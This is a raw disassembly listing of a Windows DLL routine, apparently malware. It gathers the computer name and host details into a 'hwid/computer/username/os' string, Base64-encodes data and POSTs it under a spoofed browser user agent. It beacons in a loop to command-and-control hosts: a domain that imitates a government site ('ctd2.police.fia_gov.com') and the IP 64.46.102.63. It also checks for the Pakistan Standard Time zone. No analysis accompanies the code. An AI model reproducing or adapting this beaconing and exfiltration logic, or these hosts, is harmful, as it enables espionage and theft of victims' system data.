mov qword [rsp + 0x120], rax
cmp qword [rsp + 0x120], 0
je 0x180005cc8
lea rax, [rsp + 0xf60]
mov qword [rsp + 0x4a0], rax
lea rax, [rsp + 0xe80]
mov qword [rsp + 0xbf0], rax
mov rax, qword [rsp + 0xbf0]
cmp qword [rsp + 0x4a0], rax
je 0x180005aee
lea rax, [rsp + 0x75]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r8d, byte [rsp + 0x75]
lea rdx, [rsp + 0xe80]
mov rcx, qword [rsp + 0x4a0]
call fcn.1800073f0
lea rax, [rsp + 0x13e0]
mov rdi, qword [rsp + 0x120]
mov rsi, rax
mov ecx, 0x214
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x3d0], 0
je 0x180005b42
cmp dword [rsp + 0x3c8], 0
jbe 0x180005b42
mov eax, dword [rsp + 0x3c8]
mov rcx, qword [rsp + 0x120]
add rcx, 0x214
mov rdi, rcx
mov rsi, qword [rsp + 0x3d0]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x228], 0
mov eax, 0x40000000
or eax, 1
lea rcx, [rsp + 0xcc4]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, eax
mov edx, dword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x180005bef
mov eax, dword [rsp + 0xcc4]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0xbf8], rax
mov rax, qword [rsp + 0xbf8]
mov qword [rsp + 0x228], rax
cmp qword [rsp + 0x228], 0
je 0x180005bef
mov eax, 0x40000000
or eax, 1
lea rcx, [rsp + 0xcc4]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x228]
mov r8d, eax
mov edx, dword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0xc00], rax
mov qword [rsp + 0x220], 0xffffffffffffffff
inc qword [rsp + 0x220]
mov rax, qword [rsp + 0xc00]
mov rcx, qword [rsp + 0x220]
cmp byte [rax + rcx], 0
jne 0x180005c1b
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0xc08], rax
mov rax, qword [rsp + 0xc08]
mov qword [rsp + 0x518], rax
mov r8, qword [rsp + 0x518]
mov rdx, qword [rsp + 0x128]
lea rcx, [rsp + 0xf60]
call fcn.180006bc0
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x4b8], rax
mov rcx, qword [rsp + 0x4b8]
call fcn.1800094b4
cmp qword [rsp + 0x4b8], 0
jne 0x180005cac
mov qword [rsp + 0x520], 0
jmp 0x180005cc8
mov qword [rsp + 0x128], 0x8123
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x520], rax
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0xc38]
call fcn.180006d30
mov eax, dword [rsp + 0x58]
or eax, 8
mov dword [rsp + 0x58], eax
lea rcx, [rsp + 0xf60]
call fcn.180007280
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x4d0], rax
lea rax, [rsp + 0xf80]
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x528], rax
mov rax, qword [rsp + 0x528]
cmp qword [rsp + 0x4d8], rax
je 0x180005d63
lea rax, [rsp + 0x76]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r8d, byte [rsp + 0x76]
mov rdx, qword [rsp + 0x4d0]
mov rcx, qword [rsp + 0x4d8]
call fcn.1800074d0
lea rcx, [rsp + 0xc38]
call fcn.180007280
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x350]
cmp qword [rax + 0x18], 8
jb 0x180005dac
mov dword [rsp + 0x1e0], 1
jmp 0x180005db7
mov dword [rsp + 0x1e0], 0
movzx eax, byte [rsp + 0x1e0]
mov byte [rsp + 0x77], al
movzx eax, byte [rsp + 0x77]
test eax, eax
je 0x180005def
mov rax, qword [rsp + 0x350]
mov rax, qword [rax]
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x538], rax
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x470], rax
lea rax, [0x18001fe2c]
mov qword [rsp + 0x4b0], rax
cmp qword [rsp + 0x470], 0
je 0x180005e34
cmp qword [rsp + 0x4b0], 0
jne 0x180005e3e
mov byte [rsp + 0x53], 0
jmp 0x1800064ab
mov dword [rsp + 0xca4], 0
mov dword [rsp + 0xe18], 0
mov dword [rsp + 0x80], 0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0xb0], 0
xor edx, edx
lea rcx, [rsp + 0x10c0]
call fcn.1800073a0
nop
lea rax, [rsp + 0xee0]
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x540]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0xee0]
call fcn.180007080
nop
lea rax, str.Mozilla
mov qword [rsp + 0x548], rax
mov qword [rsp + 0x218], 0xffffffffffffffff
inc qword [rsp + 0x218]
mov rax, qword [rsp + 0x548]
mov rcx, qword [rsp + 0x218]
cmp word [rax + rcx*2], 0
jne 0x180005edc
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0x558], rax
mov r8, qword [rsp + 0x558]
lea rdx, str.Mozilla
lea rcx, [rsp + 0xee0]
call fcn.180007120
lea rax, str._5.0__Windows_NT_10.0__Win64__x64_
mov qword [rsp + 0x560], rax
mov qword [rsp + 0x210], 0xffffffffffffffff
inc qword [rsp + 0x210]
mov rax, qword [rsp + 0x560]
mov rcx, qword [rsp + 0x210]
cmp word [rax + rcx*2], 0
jne 0x180005f52
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x568], rax
mov rax, qword [rsp + 0x568]
mov qword [rsp + 0x570], rax
mov r8, qword [rsp + 0x570]
lea rdx, str._5.0__Windows_NT_10.0__Win64__x64_
lea rcx, [rsp + 0xee0]
call fcn.180007120
lea rax, str.AppleWebKit_537.36__KHTML__like_Gecko_
mov qword [rsp + 0x578], rax
mov qword [rsp + 0x208], 0xffffffffffffffff
inc qword [rsp + 0x208]
mov rax, qword [rsp + 0x578]
mov rcx, qword [rsp + 0x208]
cmp word [rax + rcx*2], 0
jne 0x180005fc8
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0x588], rax
mov r8, qword [rsp + 0x588]
lea rdx, str.AppleWebKit_537.36__KHTML__like_Gecko_
lea rcx, [rsp + 0xee0]
call fcn.180007120
lea rax, [rsp + 0xee0]
mov rcx, rax
call fcn.180007210
mov qword [rsp + 0x590], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rsp + 0x590]
call qword [0x180025cd0]
mov qword [rsp + 0x138], rax
cmp qword [rsp + 0x138], 0
je 0x180006095
xor r9d, r9d
mov r8w, 0x20fb
mov rdx, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x138]
call qword [0x180025ce8]
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x130], 0
je 0x1800060e2
mov dword [rsp + 0x30], 0x800100
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x4b0]
lea rdx, str.POST
mov rcx, qword [rsp + 0x130]
call qword [0x180025ce0]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xe14], 4
lea r9, [rsp + 0xe14]
lea r8, [rsp + 0xdb8]
mov edx, 0x1f
mov rcx, qword [rsp + 0xb0]
call qword [0x180025d10]
mov eax, dword [rsp + 0xdb8]
bts eax, 8
mov dword [rsp + 0xdb8], eax
mov eax, dword [rsp + 0xdb8]
bts eax, 0xd
mov dword [rsp + 0xdb8], eax
mov eax, dword [rsp + 0xdb8]
bts eax, 0xc
mov dword [rsp + 0xdb8], eax
mov eax, dword [rsp + 0xdb8]
bts eax, 9
mov dword [rsp + 0xdb8], eax
mov r9d, 4
lea r8, [rsp + 0xdb8]
mov edx, 0x1f
mov rcx, qword [rsp + 0xb0]
call qword [0x180025cd8]
cmp qword [rsp + 0xb0], 0
je 0x1800061fd
mov rax, qword [rsp + 0xf90]
mov qword [rsp + 0x598], rax
mov rax, qword [rsp + 0xf90]
mov qword [rsp + 0x5a0], rax
lea rax, [rsp + 0xf80]
mov rcx, rax
call fcn.1800075c0
mov qword [rsp + 0x5a8], rax
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x598]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x5a0]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x5a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xb0]
call qword [0x180025d18]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
je 0x18000621e
xor edx, edx
mov rcx, qword [rsp + 0xb0]
call qword [0x180025d08]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
je 0x18000641e
mov dword [rsp + 0xca4], 0
lea rdx, [rsp + 0xca4]
mov rcx, qword [rsp + 0xb0]
call qword [0x180025d00]
test eax, eax
jne 0x180006271
mov byte [rsp + 0x78], 0
lea rcx, [rsp + 0xee0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x53], al
jmp 0x1800064ab
mov eax, dword [rsp + 0xca4]
inc eax
mov eax, eax
mov ecx, eax
call fcn.1800094f8
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 0
jne 0x1800062d6
mov byte [rsp + 0x79], 0
lea rcx, [rsp + 0xee0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x53], al
jmp 0x1800064ab
mov eax, dword [rsp + 0xca4]
inc eax
mov eax, eax
mov qword [rsp + 0x5b8], rax
mov rdi, qword [rsp + 0xe8]
xor eax, eax
mov rcx, qword [rsp + 0x5b8]
rep stosb byte [rdi], al
lea r9, [rsp + 0xe18]
mov r8d, dword [rsp + 0xca4]
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xb0]
call qword [0x180025cc8]
test eax, eax
jne 0x180006347
mov byte [rsp + 0x7a], 0
lea rcx, [rsp + 0xee0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x53], al
jmp 0x1800064ab
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x200], 0xffffffffffffffff
inc qword [rsp + 0x200]
mov rax, qword [rsp + 0x5c0]
mov rcx, qword [rsp + 0x200]
cmp byte [rax + rcx], 0
jne 0x180006363
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x5c8], rax
mov rax, qword [rsp + 0x5c8]
mov qword [rsp + 0x5d0], rax
mov r8, qword [rsp + 0x5d0]
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x10c0]
call fcn.180006bc0
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x4c8], rax
mov rcx, qword [rsp + 0x4c8]
call fcn.1800094b4
cmp qword [rsp + 0x4c8], 0
jne 0x1800063f4
mov qword [rsp + 0x5d8], 0
jmp 0x180006410
mov qword [rsp + 0xe8], 0x8123
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x5d8], rax
cmp dword [rsp + 0xca4], 0
ja 0x18000622c
cmp dword [rsp + 0x80], 0
jne 0x180006445
mov byte [rsp + 0x7b], 0
lea rcx, [rsp + 0xee0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x7b]
mov byte [rsp + 0x53], al
jmp 0x1800064ab
cmp qword [rsp + 0xb0], 0
je 0x18000645e
mov rcx, qword [rsp + 0xb0]
call qword [0x180025cf0]
cmp qword [rsp + 0x130], 0
je 0x180006477
mov rcx, qword [rsp + 0x130]
call qword [0x180025cf0]
cmp qword [rsp + 0x138], 0
je 0x180006490
mov rcx, qword [rsp + 0x138]
call qword [0x180025cf0]
mov byte [rsp + 0x7c], 1
lea rcx, [rsp + 0xee0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x53], al
movzx eax, byte [rsp + 0x53]
test eax, eax
je 0x1800064c4
xor edx, edx
lea rcx, [rsp + 0xdd0]
call fcn.1800070d0
nop
lea rcx, [rsp + 0xf80]
call fcn.180007280
nop
lea rcx, [rsp + 0x10c0]
call fcn.180007280
nop
lea rcx, [rsp + 0xf40]
call fcn.180007280
nop
lea rcx, [rsp + 0xe60]
call fcn.180007280
nop
lea rcx, [rsp + 0xe20]
call fcn.180007280
jmp 0x1800021a7
mov rax, qword [rsp + 0xcb0]
mov qword [rsp + 0x4c0], rax
mov rcx, qword [rsp + 0x4c0]
call fcn.1800094b4
cmp qword [rsp + 0x4c0], 0
jne 0x180006552
mov qword [rsp + 0x5e0], 0
jmp 0x18000656e
mov qword [rsp + 0xcb0], 0x8123
mov rax, qword [rsp + 0xcb0]
mov qword [rsp + 0x5e0], rax
jmp 0x18000667c
lea rdx, [0x18001fe30]
lea rcx, [rsp + 0xf00]
call fcn.180007690
movzx eax, al
test eax, eax
je 0x180006606
lea rax, str.ctd2.police.fia_gov.com
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x1f8], 0xffffffffffffffff
inc qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x5e8]
mov rcx, qword [rsp + 0x1f8]
cmp word [rax + rcx*2], 0
jne 0x1800065a9
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x5f8], rax
mov r8, qword [rsp + 0x5f8]
lea rdx, str.ctd2.police.fia_gov.com
lea rcx, [rsp + 0xf00]
call fcn.1800068b0
jmp 0x18000667c
lea rax, str.64.46.102.63
mov qword [rsp + 0x608], rax
mov qword [rsp + 0x1f0], 0xffffffffffffffff
inc qword [rsp + 0x1f0]
mov rax, qword [rsp + 0x608]
mov rcx, qword [rsp + 0x1f0]
cmp word [rax + rcx*2], 0
jne 0x180006621
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x610]
mov qword [rsp + 0x618], rax
mov r8, qword [rsp + 0x618]
lea rdx, str.64.46.102.63
lea rcx, [rsp + 0xf00]
call fcn.1800068b0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0xe60]
call fcn.180007280
nop
lea rcx, [rsp + 0xe20]
call fcn.180007280
jmp 0x1800021a7
lea rax, [rsp + 0x1a70]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
mov dword [rsp + 0xe1c], 0x64
lea rdx, [rsp + 0xe1c]
lea rcx, [rsp + 0x1a70]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rax, [rsp + 0x2010]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x1a70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1a70]
lea r8, [rsp + 0x1a70]
lea rdx, str.___hwid_:___s_____computer_:___s_____username_:___s_____os_:___s__
lea rcx, [rsp + 0x2010]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x1600]
call qword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
lea rcx, [rsp + 0x16ac]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.PAKISTAN_STANDARD_TIME
lea rcx, [rsp + 0x16ac]
call fcn.18000dcf4
test eax, eax
je 0x180006776
xor eax, eax
cmp eax, 1
je 0x180006774
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180006760
jmp 0x1800067cc
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x36c], 0
lea rcx, [rsp + 0xf00]
call fcn.180006fb0
nop
lea rcx, [rsp + 0xdd0]
call fcn.180006fb0
nop
lea rcx, [rsp + 0xe80]
call fcn.180007280
nop
lea rcx, [rsp + 0xe40]
call fcn.180006fb0
mov eax, dword [rsp + 0x36c]
jmp 0x180006815
mov dword [rsp + 0x364], 0
lea rcx, [rsp + 0xf00]
call fcn.180006fb0
nop
lea rcx, [rsp + 0xdd0]
call fcn.180006fb0
nop
lea rcx, [rsp + 0xe80]
call fcn.180007280
nop
lea rcx, [rsp + 0xe40]
call fcn.180006fb0
mov eax, dword [rsp + 0x364]
mov rcx, qword [rsp + 0x4e00]
xor rcx, rsp
call fcn.180009490
add rsp, 0x4e18
pop rdi
pop rsi
ret